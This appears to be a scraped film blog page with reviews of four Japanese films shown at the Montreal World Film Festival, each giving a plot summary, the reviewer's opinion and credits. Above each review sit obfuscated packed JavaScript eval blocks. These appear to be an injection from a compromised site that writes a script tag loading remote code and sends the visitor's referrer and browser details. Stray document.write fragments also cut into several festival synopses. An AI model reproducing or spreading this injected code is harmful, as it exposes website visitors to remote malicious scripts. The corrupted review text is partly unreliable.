WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hezrz|var|u0026u|referrer|sdbee||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drdhf|var|u0026u|referrer|aeiyb||js|php’.split(‘|’),0,{}))

“Erika’s life fall aparts when her boyfriend leaves scars on both her heart and her face. The manager of the family restaurant where she works part time refuses to let her work with a scarred face, document.write(“”); and she has no way to pay for an abortion. She resolves never again to be at the mercy of sentiment. She decides to become a hostess at the Elleseine nightclub in Tokyo’s notorious Kabukichio entertainment and red-light district. Before long she has risen to the top, becoming the club’s number one hostess. But material fortune doesn’t always translate into personal happiness. Can she have her cake and eat it?” (Text from the Festival’s program)

This movie is based on Kurumi Tachibana’s two-part semi-autobiographical novel (Judas: Top and Judas: Bottom, bestsellers but not yet translated in english). It tells of the lightning ascension and downfall of the legendary club hostess in Tokyo’s Kabukich? district.

Erika is an insecure high school student in Saitama prefecture. Betrayed by her boyfriend, she finds herself pregnant, scarred and has consequently lost her job. A chance encounter with the manager of a hostess club from the entertainment district of Omiya will give her an opportunity to earn the money she needs for an abortion and provide her some sense of purpose. Within a year, under the professional name of Hitomi, she becomes the number one hostess of the club Elleseine. A hostess is basically a modern geisha: she flirts, provides drinks, attention, and entertainment to the salarymen that mostly constitute the clientele. It generally never involves sex. She manipulates men, creates a desire and fill their sense of affective emptiness with her glamorous act that indulge their greed, lust and illusion of power. Ultimately, she simply tricks them into spending money at the club and on lavish gifts for her.

However, she still doesn’t feel fulfilled. She has lost faith in true love and has therefore forsaken having any real relationships. She is troubled by her loneliness and the fear of being overcome again by weakness. But who could fill her own emptiness? She hides behind the armour of her make-up and all she can do is abandon herself to an insatiable ambition for more power and money. [Left: the real Kurumi Tachibana]

She changes her name to Kurumi and moves to Eden, a top-class hostess club in Kabukicho. The competition is fierce amongst the hostesses. However, despite being bullied by top-hostess Mimi, she reaches the number two position in just two months. But that’s still not enough. She succeeds climbing to the top by using betrayal, which earns her the nickname “Judas”. One day, Mimi is sick and shows some weakness by trusting into Kurumi’s hand her most important customer and lover: Saeki. She woos him and steel him from Mimi. She becomes the most desirable hostess but also the most ruthless: she abandoned Saeki when he’s bankrupted and drove one of her first and most faithful customers, Nawa (nicknamed “Beethoven”), to the brink of financial ruin.

One day, she meets a young finance tycoon named Ohno and she slowly falls for him. She does her best to resist the attraction and battle her own weakness. She moved to the ultra luxurious nightclub Dulcinea and, as she feel being at the top, her entire world comes down on her. When Ohno suddenly disappears, she discovers that he is a fraudster and loan-shark wanted by the police! Can she find a way to bounce back?

Evidently she has. After spending eight years in the extreme world of hostess clubs, Kurumi Tachibana is now a popular writer, actress and TV personality.

Judas is a movie about growth: the main character lacks confidence but go through many experiences that will change her and eventually make her better. Unfortunately, the movie is lacking something. It feels like the Readers’ Digest version of Tachibana’s biography as her life’s main events unfold before our eyes on fast-forward. We just can’t feel the emotions.

However, it is still a good, entertaining movie. It provides a women point of view on the world, which is rare in the Japanese movie industry. It is a movie about women, produced by a staff almost entirely made of women. It also give us an interesting insight into the world of hostess clubs and offers a fascinating portrayal of human emotional distress. Despite its flaws, it is an intriguing movie, worth watching. Unfortunately, the Dvd release is so far available only in Japanese (amazon.jp, Yesasia).
Judas ( ?? / Yuda ): Japan, 2013, 109 min.; Dir.: Izumi Ohtomi; Scr. Izumi Ohtomi & Kurumi Tachibana (based on her autobiography); Phot.: Natsuha Nakamura; Ed.: Masaki Murayama; Mus.: Masataka Kitaura; Prod.: Harumi Hoshino; Cast: Ayame Misaki, Sho Aoyagi, Kenji Mizuhashi, Noriko Aoyama, Ryohei Suzuki, NorA, Yusei Tajima, Itsuji Itao; Distrib.: Pony Canyon Intl. Film screened at the Montreal World Film Festival on August 30th, 2013 (Cinema Quartier Latin 9, 16h50–the theatre was less than a quarter full, with about 75 people) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Judas © 2011 movie “Judas” Production Committee. All Rights Reserved.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytbrf|var|u0026u|referrer|rzafy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfty|var|u0026u|referrer|zsyie||js|php’.split(‘|’),0,{}))

“Reiko has been suffering from memory loss for some time, document.write(“”); but her family doesn’t really seem to notice. One day, she’s examined by a doctor, who discovers that she has a terminal brain tumor and will probably die within a week. As her dementia worsens, Reiko begins to express her true feelings for the first time, such as her fear that the family is falling apart. Meanwhile, her husband is facing bankruptcy and the family has been at odds over everyday problems and mistrusts. Their sons, Kosuke and Shunpei, react to the family troubles in different ways. The older brother, Kosuke, clumsily tries to shoulder the burden of the family while younger brother, Shunpei, gradually dedicates himself to becoming a better son.”

(Text from the Festival’s program)

In this family, the older son is a “recovered” Hikikomori who is now married and whose wife is expecting the first grandchild of the family. The younger son is an unreliable student who keep asking is mother for money. The husband’s company is not making any money so the couple is deeply in debts. When the family notice that the mother is behaving strangely and has memory lapses, they bring her to the doctor. The prognostic is devastating: she has an unoperable brain tumor and won’t probably live more than a week!

The two sons, who just discovered the extant of their parents debts, decide to do something about it. They also decide to seek second opinions on their mother’s diagnosis. After visiting a 6th hospital with their mother’s medical file, a doctor think that it might be a different type of tumor that could be treatable, so he refers them to another hospital and to a young female doctor. After more tests and a biopsy, it is revealed that the tumor is indeed treatable.

Through this ordeal the family — which had been slowly falling apart — is pulling together and it makes the sons to finally mature. I guess it shows that you must never give up. You must keep hope, give all your might and when things are getting though you must keep smilling…

As usual in Japanese cinema, this movie offers us nice imagery, particularly the beautiful landscape. It is a nice and enjoyable movie, but, somehow, I didn’t feel any emotions. Usually such movies will make me cry, but in this case I unfortunately didn’t feel any sadness. Was it me or was there something lacking in the stoytelling or the acting? I am not sure, but it was nevertheless a good story.

Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Scr.: Yuya Ishii (Based on the novel by Kazumasa Hayami); Phot.: Junichi Fujisawa; Ed.: Shinichi Fushima; Mus.: Takashi Watanabe; Cast: Satoshi Tsumabuki (Kosuke), Mieko Harada (Reiko), Sosuke Ikematsu (Shunpei), Kyozo Nagatsuka (Katsuaki), Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa. Film screened at the Montreal World Film Festival on August 25th, 2014 (Cinema Quartier Latin 15, 21h30 – the theatre was three-quarter full with about sixty people) as part of the “World Great” (Out of Competition) segment.
For more information you can visit the following websites:
Our family © 2013 Bokutachi no Kazoku Film Partners.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzhza|var|u0026u|referrer|enzki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ketin|var|u0026u|referrer|berhr||js|php’.split(‘|’),0,{}))

“On first glance, document.write(“”); Shunzuke, 47, seems to have everything, a top job at an electronics company, a loving beautiful wife Akiko, a son Daisuke and a daughter Sakiko and a nice house where he lives with his father Shuntaro. But the respect he gets at work doesn’t extend to the domestic front, especially after Akiko discovered a now-ended affair of his. Meanwhile, Daisuke has skipped university to work in low-end jobs, Sakiko doesn’t talk to him, and Shuntaro is having serious health problems. On the eve of a possible promotion at work, Shunsuke decides that his family comes first.”

(Text from the Festival’s program)

A man who was too busy building a successful career is about to get a big promotion, but then realized that he has never been there for his family. He never listened to his wife, missed all of his daughter parent’s days at school, was not there to support his son when he was having academic difficulties and didn’t notice that his aging father was getting senile. He decide to take everyone on a family trip to bring them together, apologize for his failings and search for the lost memory of his father’s childhood.

Directed by Mitsutoshi Tanaka (who also directed Ask this of Rikyu, presented in competition at last year’s MWFF), it is a beautiful but sad movie about family, the challenges of old age, like dementia, and which shows us the beautiful landscapes of rural Japan (for their trip they travel to the Fukui Prefecture). I think it is also a reflexion on the shifting values of 21st century Japan: what’s the use to work yourself out if you don’t have a nice and enjoyable place to come to after?

Somehow, this movie hit close to home, therefore I personnally found it very touching. It’s a very good and enjoyable movie.

Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Ed.: Shinichi Fushima; Mus.: Ko Otani; Art Des.: Koichi Wakamatsu; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama (Sakiko), Masato Yano (Daisuke), Kanji Tsuda, Kyusaku Shimada, Sumie Sasaki, Ren Osugi. Film screened at the Montreal World Film Festival on August 23rd, 2014 (Cinema Quartier Latin 12, 11h40 – the theatre was tiny but it was nearly three-quarter full; Interestingly, a large part of the audience was made of Japanese ladies and elderly couples!) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Blossom bloom © 2014 Sakurasaku Film Partners.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deeez|var|u0026u|referrer|fbbhh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znerf|var|u0026u|referrer|nznda||js|php’.split(‘|’),0,{}))

“Three small-time crooks — [Shuu, document.write(“”); ] manager of the Honey Bunny nightclub, Koji, an ex-motorcycle gang leader turned club waiter, and Big Ken, a Korean BBQ chain owner and club regular — desparate to turn their lifes around, manage to pull a successful bank heist in broad daylight and they return to hide out in Honey Bunny. Although they had agreed to each getting an equal third of the money they stole, their greed gets the better of them, with much bargaining and cheating. It turns out, however, they they are not the only ones after the loot. Will they see any of it all all?”

(Text from the Festival’s program)

Shuu is the manager for the night club “Honey Bunny” and a horse-race gambler. On his way to the bank to deposit the club’s takings he stops at the race tracks. Unexpectedly, he wins but in his excitement loses the bag containing the club’s money. The owner is a ruthless yakuza and he fears for his life. However, his friend Maria, a wanna-be actress, help him get a loan from an even ruthless loan-shark so he can pay back the club’s money. He has one week to pay back the loan or he dies. He persuades his friend Koji, who works at the “Honey Bunny”, and Ken, one of the customer, to rob a bank. They are all deeply in debts and desperate to turn around their life. They succeed but quarrels over dividing the loot. And, to make their tribulation worse, other parties are also interested in getting their hands on the stolen money!

I was expecting this one to be a third-rate film, but it ended up not so bad after all. It has lots of cheeky humour and movie references that make the movie quite enjoyable. Unfortunately, the plot is so circumvolved (plots and counter plots) that it doesn’t really work as each new development make what happened before less credible (but in such comedy, does it really matter?).

Also the premise of the story (a bunch of robbers quarrelling over their loot) is not original at all since I remember seeing a very similar one in another movie titled Crazy-ism. Although this movie is funnier and much more entertaining. Does our trio of incidental robbers succeed to pull through? Actually, we really never know since the movie leaves us with a kind of open ending. Quite clever.
One third (??????? / Sanbun no ichi): Japan, 2014, 119 min.; Dir.: Hiroshi Shinagawa; Scr.: Hiroshi Shinagawa (based on a novel by Hanta Kinoshita); Cast: Tatsuya Fujiwara (Shuu), Koki Tanaka (Koji), Ryuichi Kosugi (Ken), Mika Nakashima (Maria), Yosuke Kubozuka (Hama), Shinnosuke Ikehata (Shibugaki), Ryo Kimura, Sho Aikawa, Mitsu Dan, Ayumi Shimozono. Film screened at the Montreal World Film Festival on August 22nd, 2014 (Cinema Quartier Latin 15, 14h30 – the theatre was three-quarter full but a few people left after the first half-hour) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
One third © 2014 Sanbun no ichi Production Committee.

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